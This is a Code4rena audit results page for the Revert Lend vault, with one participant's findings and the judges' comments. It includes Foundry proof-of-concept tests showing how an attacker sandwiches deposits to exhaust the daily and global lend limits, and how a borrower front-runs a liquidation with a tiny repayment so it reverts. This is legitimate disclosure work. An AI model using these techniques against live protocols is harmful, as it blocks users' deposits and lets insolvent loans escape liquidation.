Platform: Code4rena
Start Date: 04/03/2024
Pot Size: $88,500 USDC
Total HM: 31
Participants: 105
Period: 11 days
Judge: ronnyx2017
Total Solo HM: 7
Id: 342
League: ETH
Rank: 46/105
Findings: 3
Award: $205.34
🌟 Selected for report: 0
🚀 Solo Findings: 0
🌟 Selected for report: alix40
Also found by: 0xPhantom, Norah, ktg, lanrebayode77
159.2087 USDC - $159.21
https://github.com/code-423n4/2024-03-revert-lend/blob/435b054f9ad2404173f36f0f74a5096c894b12b7/src/V3Vault.sol#L877 https://github.com/code-423n4/2024-03-revert-lend/blob/435b054f9ad2404173f36f0f74a5096c894b12b7/src/V3Vault.sol#L911 https://github.com/code-423n4/2024-03-revert-lend/blob/435b054f9ad2404173f36f0f74a5096c894b12b7/src/V3Vault.sol#L550 https://github.com/code-423n4/2024-03-revert-lend/blob/435b054f9ad2404173f36f0f74a5096c894b12b7/src/V3Vault.sol#L575
RevertLend has implemented a daily limit on both lending and borrowing amounts to protect against flashloan and large-value manipulation attacks.However, the same mechanism can be exploited to invalidate normal user transactions by anyone.
V3Vault.t.sol
file and run it with via "forge test --mt testDOSviaDailyLendLimtit -vv"function testDOSviaDailyLendLimtit() external { //Setup Victim and Attacker address Victim = makeAddr("victim"); address Attacker = makeAddr("attacker"); vm.startPrank(WHALE_ACCOUNT); USDC.transfer(Victim,20e6); USDC.transfer(Attacker,20e6); vm.stopPrank(); vm.prank(Victim); USDC.approve(address(vault), type(uint256).max); vm.prank(Attacker); USDC.approve(address(vault), type(uint256).max); //Daily Lend Limit is set to the 10 USDC. assertEq(vault.dailyLendIncreaseLimitMin(),12e6); //Normal Scenario, Victim deposits 10 USDC below the limit and everything works out uint deposit_amount = 1e6; vm.prank(Victim); vault.deposit(deposit_amount, Victim); //Exploit Scenario //At this point we have 12 USDC in the vault. vm.warp(block.timestamp + 1 days); // we move forward one day so that now, users are allowed to deposit as per new daily Lend Limit (up to 12 USDC) //Now Attacker here sandwich the victim's deposit transaction with deposit of 12 USDC (consuming the reminder till limit) //and withdrawin the 12 USDC deposited in the previous tx. uint victim_deposit_amount = 1e6; uint Attacker_deposit_amount = 12e6; //Equal to lender to limit vm.prank(Attacker); vault.deposit(Attacker_deposit_amount, Victim); //This will revert as the attacker has consumed the Global Limit temporarily vm.expectRevert(IErrors.DailyLendIncreaseLimit.selector); vm.prank(Victim); vault.deposit(victim_deposit_amount, Victim); vm.prank(Attacker); vault.withdraw(vault.balanceOf(Attacker), Attacker, Attacker); }
Manual Review
DoS
#0 - c4-pre-sort
2024-03-21T14:37:54Z
0xEVom marked the issue as primary issue
#1 - c4-pre-sort
2024-03-21T14:37:57Z
0xEVom marked the issue as sufficient quality report
#2 - c4-pre-sort
2024-03-21T14:56:11Z
0xEVom marked the issue as duplicate of #435
#3 - c4-judge
2024-04-01T01:24:58Z
jhsagd76 marked the issue as satisfactory
🌟 Selected for report: alix40
Also found by: 0xPhantom, Norah, ktg, lanrebayode77
159.2087 USDC - $159.21
https://github.com/code-423n4/2024-03-revert-lend/blob/435b054f9ad2404173f36f0f74a5096c894b12b7/src/V3Vault.sol#L550 https://github.com/code-423n4/2024-03-revert-lend/blob/435b054f9ad2404173f36f0f74a5096c894b12b7/src/V3Vault.sol#L572 https://github.com/code-423n4/2024-03-revert-lend/blob/435b054f9ad2404173f36f0f74a5096c894b12b7/src/V3Vault.sol#L877 https://github.com/code-423n4/2024-03-revert-lend/blob/435b054f9ad2404173f36f0f74a5096c894b12b7/src/V3Vault.sol#L907
RevertLend has implemented a global limit on both lending and borrowing, restricting the total amount that can be borrowed and lent in the protocol.
The problem here is that anyone can exploit the above mechanism to invalidate normal users' transactions.
Consider the following steps:
V3Vault.t.sol
file and run it with via "forge test --mt testDOSviaGloablLendLimit -vv"function testDOSviaGloablLendLimit() external { //Setup Victim and Attacker address Victim = makeAddr("victim"); address Attacker = makeAddr("attacker"); vm.startPrank(WHALE_ACCOUNT); USDC.transfer(Victim,20e6); USDC.transfer(Attacker,20e6); vm.stopPrank(); vm.prank(Victim); USDC.approve(address(vault), type(uint256).max); vm.prank(Attacker); USDC.approve(address(vault), type(uint256).max); //Global Lend Limti is set to the 15 USDC and Daily Lend Limit is set to the 10 USDC. assertEq(vault.globalLendLimit(),15e6); assertEq(vault.dailyLendIncreaseLimitMin(),12e6); //Normal Scenario, Victim deposits 10 USDC below the limit and everything works out uint deposit_amount = 10e6; vm.prank(Victim); vault.deposit(deposit_amount, Victim); //Exploit Scenario //At this point we have 10 USDC in the vault. vm.warp(block.timestamp + 1 days); // we move forward one day so that now, users are allowed to deposit as per new daily Lend Limit (up to 12 USDC) // But since the global lend limit is 15 USDC, only 5 USDC can be deposited. //Now Attacker here sandwich the victim's deposit transaction with deposit of 5 USDC (consuming the reminder till limit) //and withdrawin the 5 USDC deposited in the previous tx. uint victim_deposit_amount = 2e6; uint Attacker_deposit_amount = 5e6; //Equal to lender to limit vm.prank(Attacker); vault.deposit(Attacker_deposit_amount, Victim); //This will revert as the attacker has consumed the Global Limit temporarily vm.expectRevert(IErrors.GlobalLendLimit.selector); vm.prank(Victim); vault.deposit(victim_deposit_amount, Victim); vm.prank(Attacker); vault.withdraw(vault.balanceOf(Attacker), Attacker, Attacker); }
Manual Review
DoS
#0 - c4-pre-sort
2024-03-21T14:39:49Z
0xEVom marked the issue as duplicate of #283
#1 - c4-pre-sort
2024-03-21T14:39:52Z
0xEVom marked the issue as sufficient quality report
#2 - c4-pre-sort
2024-03-21T14:55:32Z
0xEVom marked the issue as duplicate of #435
#3 - c4-judge
2024-04-01T01:24:56Z
jhsagd76 marked the issue as satisfactory
🌟 Selected for report: kfx
Also found by: 0x175, 0xAlix2, 0xjuan, AMOW, Aymen0909, CaeraDenoir, Giorgio, JCN, JecikPo, JohnSmith, Norah, SpicyMeatball, alexander_orjustalex, atoko, erosjohn, falconhoof, givn, grearlake, jnforja, kinda_very_good, lanrebayode77, nmirchev8, shaka, web3Tycoon, zxriptor
3.3501 USDC - $3.35
https://github.com/code-423n4/2024-03-revert-lend/blob/435b054f9ad2404173f36f0f74a5096c894b12b7/src/V3Vault.sol#L685 https://github.com/code-423n4/2024-03-revert-lend/blob/435b054f9ad2404173f36f0f74a5096c894b12b7/src/V3Vault.sol#L696-L698
Liquidator calls liqudate()
function with targeted loan (derived from token Id) and amount of debt share to liquidate incase the given loan is now underwater.
Within the liquidate() function, there is a check ensuring that the debt share provided by the liquidator in the argument matches the debt share associated with the provided token ID. If they do not match, the entire transaction is reverted.
function liquidate(LiquidateParams calldata params) external returns { . . uint256 debtShares = loans[params.tokenId].debtShares; if (debtShares != params.debtShares) { revert DebtChanged(); }
A borrower can exploit this by front-running the liquidator's liquidate()
transaction with a small repay()
transaction, thereby changing (small reduction) the debt shares associated with the given token ID. As a result, the liquidate transaction will be reverted due to above check.
Note: In this scenario, even after a small repayment (~100 wei), the borrower remains underwater and should be liquidated
V3Vault.t.sol
file and run it via " forge test --mt testFrontRunLiquadate"function testFrontRunLiquadate() external { _setupBasicLoan(true); (, uint256 fullValue, uint256 collateralValue,,) = vault.loanInfo(TEST_NFT); assertEq(collateralValue, 8847206); assertEq(fullValue, 9830229); // debt is equal collateral value (uint256 debt,,, uint256 liquidationCost, uint256 liquidationValue) = vault.loanInfo(TEST_NFT); vm.warp(block.timestamp + 7 days); vm.prank(WHALE_ACCOUNT); USDC.approve(address(vault), type(uint).max); (uint256 debtShares) = vault.loans(TEST_NFT); //Normal Scenario uint snap = vm.snapshot(); vm.prank(WHALE_ACCOUNT); vault.liquidate(IVault.LiquidateParams(TEST_NFT, debtShares, 0, 0, WHALE_ACCOUNT, "")); // NFT was returned to owner assertEq(NPM.ownerOf(TEST_NFT), TEST_NFT_ACCOUNT); // all debt is payed assertEq(vault.debtSharesTotal(), 0); vm.revertTo(snap); //Borrower front-runs liquidate transaction with small repay (only 100 wei) transaction to avoid getting liquidate _repay(100 ,TEST_NFT_ACCOUNT , TEST_NFT,false); //As result Liquidator's transaction will revert //Borrower can essently set up a front-running bot during the volatile market to avoid getting liquidated vm.expectRevert(IErrors.DebtChanged.selector); vm.prank(WHALE_ACCOUNT); vault.liquidate(IVault.LiquidateParams(TEST_NFT, debtShares, 0, 0, WHALE_ACCOUNT, "")); }
Manual Review
debtshare
, as the global slippage check via minReward
will account for scenarios where the borrower significantly modifies their loan.DoS
#0 - c4-pre-sort
2024-03-18T18:13:39Z
0xEVom marked the issue as high quality report
#1 - c4-pre-sort
2024-03-18T18:13:45Z
0xEVom marked the issue as duplicate of #231
#2 - c4-pre-sort
2024-03-22T12:02:40Z
0xEVom marked the issue as duplicate of #222
#3 - c4-judge
2024-03-31T16:06:12Z
jhsagd76 marked the issue as satisfactory
🌟 Selected for report: Bauchibred
Also found by: 0x11singh99, 0x175, 0xAlix2, 0xDemon, 0xGreyWolf, 0xPhantom, 0xspryon, 14si2o_Flint, Arabadzhiev, Aymen0909, Bigsam, BowTiedOriole, CRYP70, DanielArmstrong, FastChecker, JecikPo, KupiaSec, MohammedRizwan, Norah, Timenov, Topmark, VAD37, adeolu, btk, crypticdefense, cryptphi, givn, grearlake, jnforja, kennedy1030, kfx, ktg, lanrebayode77, n1punp, santiellena, stonejiajia, t4sk, thank_you, tpiliposian, wangxx2026, y0ng0p3, zaevlad
42.7786 USDC - $42.78
In execute()
function of AutoCompound.sol
and AutoRange.sol
minAmount parameters are missing in the NPM.IncreaseLiquidity()
and NPM.mint()
external calls.
Line of code:
In Liquidate()
function of V3Vault.sol
there is a call to NPM for decreaseLiquidity()
with block.timestamp as the deadline parameter, which is ineffective.
Refer to this issue on how this can be exploited.
Line of code:
liquidate()
function.#0 - c4-pre-sort
2024-03-24T20:55:19Z
0xEVom marked the issue as insufficient quality report
#1 - c4-pre-sort
2024-03-24T20:55:25Z
0xEVom marked the issue as grade-c
#2 - c4-pre-sort
2024-03-25T20:52:08Z
0xEVom marked the issue as sufficient quality report
#3 - c4-pre-sort
2024-03-25T20:52:11Z
0xEVom removed the grade
#4 - c4-judge
2024-04-01T10:43:28Z
jhsagd76 marked the issue as grade-a
#5 - kalinbas
2024-04-01T21:35:22Z
L-01 this is mitigate by using TWAP check, also it is different than a swap, tokens which are not added because of slippage are returned to the user L-02 makes sense to add deadline parameter to liquidate function
#6 - c4-sponsor
2024-04-01T21:35:26Z
kalinbas (sponsor) confirmed
#7 - jhsagd76
2024-04-04T10:52:35Z
3L-A